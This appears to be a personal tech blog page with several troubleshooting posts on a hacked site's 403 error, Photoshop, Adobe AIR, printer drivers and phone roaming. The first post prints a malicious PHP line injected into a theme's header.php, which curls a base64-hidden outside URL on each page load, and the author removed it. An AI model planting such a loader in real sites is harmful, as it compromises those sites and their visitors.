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Rogue code and 403 saga

If you have visited my site lately, you would have noticed 403 Forbidden error in the header for the past several days. Well it took me almost two days to figure it out and finally resolve it.

While I’m in the process of moving my hosting away from DreamHost to Azure, it’s that process itself that actually helped me pinpoint the reason behind, stumble upon this article and finally solve it all.

It looks like website was compromised and piece of code was added to theme’s header.php file:

<?php $ch=curl_init();curl_setopt($ch,CURLOPT_URL,base64_decode('aHR0cDovL3FkZ3ZzdC5jb20vbC5waHA='));curl_setopt($ch,CURLOPT_HEADER,0);curl_exec($ch);curl_close($ch);?>

Removing this code completely from theme header.php file solved my problem.

Raw, JPEG and Photoshop

I came across a problem when Photoshop will open JPEG images as RAW recently, while stitching photos using Brenizer Method in Photoshop.

After playing with new Photoshop CS6 Camera RAW, my Photoshop decided to open some of my JPEG images as though they are RAW images. That also kept adjustments I used when playing with the original RAW files.

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ReconInstruments MOD weekend or how to fix Adobe Air

You might ask me, why am I putting posting about my skiing on the Articles section? Answer is quite simple: I ran into problem, spent an hour try to troubleshoot and as I find a solution, I’d like to share it with you.

So last weekend might not have been best for skiing at the Grouse Mountain due to the cold rainy day, but I couldn’t wait to try my full charged ReconInstruments MOD powered Zeal GPS equipped goggles. For those who don’t know what I am talking about: it is little computer with tiny micro-optics display equipped with GPS inside your goggles which shows your stats in real time right in front of your eyes as you go down the slope. It tracks your distance, speed, vertical and jumps. As you come back home, you can plug in your goggles to the computer and relive the experience in beautifully designed ReconHQ software. It links with Google maps and you can see all your runs overplayed on maps, satellite or terrain views. You can also share your results with others and playback your runs right on your computer.

And that’s exactly what I wanted to do as I came back home all soaking wet but happy and excited to finally view my achievements on the second skiing trip in my life. I was quite disappointed when I tried to launch ReconHQ to no success as it crashed every time. I thought it might be because I updated my OS and now just needed to update ReconHQ software. I headed to Recon Instruments website’s download section only to find out that Flash plugin crashed every time I clicked on Download link. So next logical thing to do is to update Flash Player, right? So I did… Next, after finally managing to download Adobe AIR package, it failed to launch as it “needed newer” version. I put needed newer in quotes because, as I found out after downloading later AIR version from Adobe’s website it needed latest version of AIR as well. Yes, you read it right: Adobe AIR Installer needs newer version of Adobe AIR – ridiculous, right? After another 30 minutes of web search, I finally found logical explanation to ALL my problems. Adobe AIR cannot operate properly when OS X automatic graphics card switch is enabled.

So those of you who made this far in my story and for those who skipped:

If Adobe AIR apps or installer crash and fail to launch, open System Preferences :: Energy Saver and disable “Automatic graphics switching”.

Xerox 242 Printer under Snow Leopard

In the last couple of months we’ve acquired more iMacs and most of them came with Snow Leopard pre-installed and, being newer machines, will not take 10.5 system. Snow Leopard is great – quick, responsive but there are some challenges.

One of them was our Kerio Mail Server, which has been addressed in one of the Kerio updates. But most recent one, and more annoying is drivers for our Xerox 242 WorkCenter. Once drivers installed and user tries to print, it will give them error message saying that drivers might not be installed properly and require re-installation.

No matter how many times you try to reinstall, what user you install them as, or how many times you repair permissions on the drive, it seems not work properly.

Quick search on Apple Discussions leads to several similar problems with other printers’ drivers problems under Snow Leopard. Solution is repairing permissions, but not the usual way, actually, but using sudo

sudo chown -R root:admin /Library/Printers/

Just make sure you add your printer’s manufacturer folder after /Printers/

So Xerox will be:

sudo chown -R root:admin /Library/Printers/Xerox

Hope this helps as it did work for me.

“Roam oversea” project

Two members of our team were heading oversees, Russia to be exact, for couple of weeks and it was my responsibility to come up with solution for cheaper roaming. One of them was on Telus with World Blackberry while other had personal Fido phone. Telus roams fine in Russia, but bills are outrageous. Telus charges near $5 per minute.

My challenges were:

  1. Find cost effective way to keep person with personal phone connected and eliminate need for reimbursement of personal expenses occurred on personal phone.
  2. Find cost effective way for person with Blackberry to stay connected while maintaining existing number.

The solution was… Read More

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